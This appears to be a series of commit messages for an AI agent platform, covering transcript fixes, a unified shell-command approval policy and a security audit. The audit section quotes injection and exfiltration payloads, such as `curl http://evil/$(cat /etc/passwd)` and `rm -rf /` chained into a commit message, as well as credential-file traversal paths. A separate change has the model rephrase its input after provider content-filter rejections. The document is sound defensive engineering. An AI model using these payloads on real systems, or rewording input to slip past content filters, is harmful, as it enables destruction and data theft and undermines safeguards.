Two user-visible defects in company mode, root-caused via project 6666/8888
DB forensics:
Progress-row flicker (thinking preview appearing/disappearing): progress
entries were broadcast to clients before reaching the persistence buffer,
so a tool_call-triggered session_detail snapshot rebuilt from the DB erased
freshly streamed entries from the live log. Buffer now fills before the
broadcast and session_detail flushes it before reading.
Native role transcripts incomplete (thinking only at start, no narration,
no final summary — external agents unaffected):
- thinking deltas shared one stream id per conversation turn while seq
reset per iteration, collapsing all iterations into one entry and
silently dropping live thinking from iteration 2 on; now keyed per
iteration like assistant deltas
- assistant_delta events were mapped to None; company mode now surfaces
them as streaming 'assistant' progress entries (rendered as Reply cards,
merged like thinking, excluded from inline chat rows)
- thinking was persisted one row per token, flooding the 1000-entry cap
and evicting interleaved tool history; append_progress now folds
streaming deltas per (type, turn, stream) with seq dedup
- the terminal company turn was hidden at summary detail and, worse, its
id-keyed backfill merge kept the first-inserted intermediate content, so
the final reply never reached any channel; terminal turns are now
flagged company_final_turn, visible at summary detail, and carry their
own ui_message_id so they insert as fresh rows
- appendProgressEntry applied its seq guard against unrelated entries when
the stream key was absent from the log, killing the first delta of any
fresh stream; the guard now only applies within the same stream

Collapse the dual permission stack into one policy. The runtime-side
ToolPermissionResolver (own safe lists, own grant memory, bypassed the
ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults
ApprovalEngine.predict(), a synchronous fast path reading the same config
and the same persisted allowlist as the async authorize pipeline, so a
grant given anywhere is honored everywhere. permissions.py keeps only a
policy-free adapter; the duplicated permissions_v2 config fields and the
runtime grant persistence loop are removed (stale YAML keys are ignored).
New shell_safety module becomes the single source of truth for shell
classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/
git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d,
rg --pre still prompt even when the bare name is config-listed),
keyword-aware compound splitting (loop/branch headers no longer poison
grants), expansion-safe $() handling, and fail-closed treatment of
anything unparseable or substitution-bearing.
Grant semantics are rebuilt around derived word-boundary prefixes:
"python3 -c" instead of token bags, interpreter -c/-m kept in the prefix,
bash/eval/sudo never grantable as prefixes, read-only segments exempt
from the every-candidate-must-match rule so a granted command chained
with ls/echo verification passes, and approve-once now records the exact
candidates as a session grant so identical re-runs stop re-prompting.
The authorize heuristic also audits the original command text instead of
the quote-dropping preview (echo "<EOF>" no longer reads as redirection).
Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/
sha256sum ran with zero cards, python3 -c parked once and three different
python3 -c commands then passed via the persisted prefix grant, and an
agent-issued rm -f compound correctly re-prompted showing only the
segments needing approval. Full suite failures are byte-identical to the
pre-change HEAD baseline (27 pre-existing).

Approval cards raised by company-mode internal scheduling turns (review/report
work items, session ids like `<root>:review::<wid>::vN`) were posted to the
turn's own session channel, which the UI deliberately hides. The card silently
timed out after 300s and the work item parked on AWAITING_HUMAN, so users saw
only the gate card and never the approval prompt. ws_handler now detects these
internal turns and routes their escalation cards to origin_task_id, the root
session's primary task channel, or the activity channel — never the hidden one.
Also unblocks the previously dead origin/session fallbacks in the resolver.
Unclassified LLM stream failures (e.g. provider content-filter rejections like
"input may contain sensitive information") used to hit a blind truncate-retry
loop that replayed the identical payload for a dozen-plus consecutive failures.
runtime_v2 now feeds the provider's verbatim error text back into the
conversation as a "[runtime notice]" system message so the model can adapt
(rephrase, drop quotes, change tack), bounded at 2 feedback retries (counter
resets on any successful stream) plus one context-reset attempt, then fails
honestly with the real error. The blind truncate path remains only for
classified tool-protocol errors.
Verified: new end-to-end tests for recover-after-notice and bounded-failure;
runtime_v2 + ws_handler + escalation/approval + company-mode suites all green.

A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
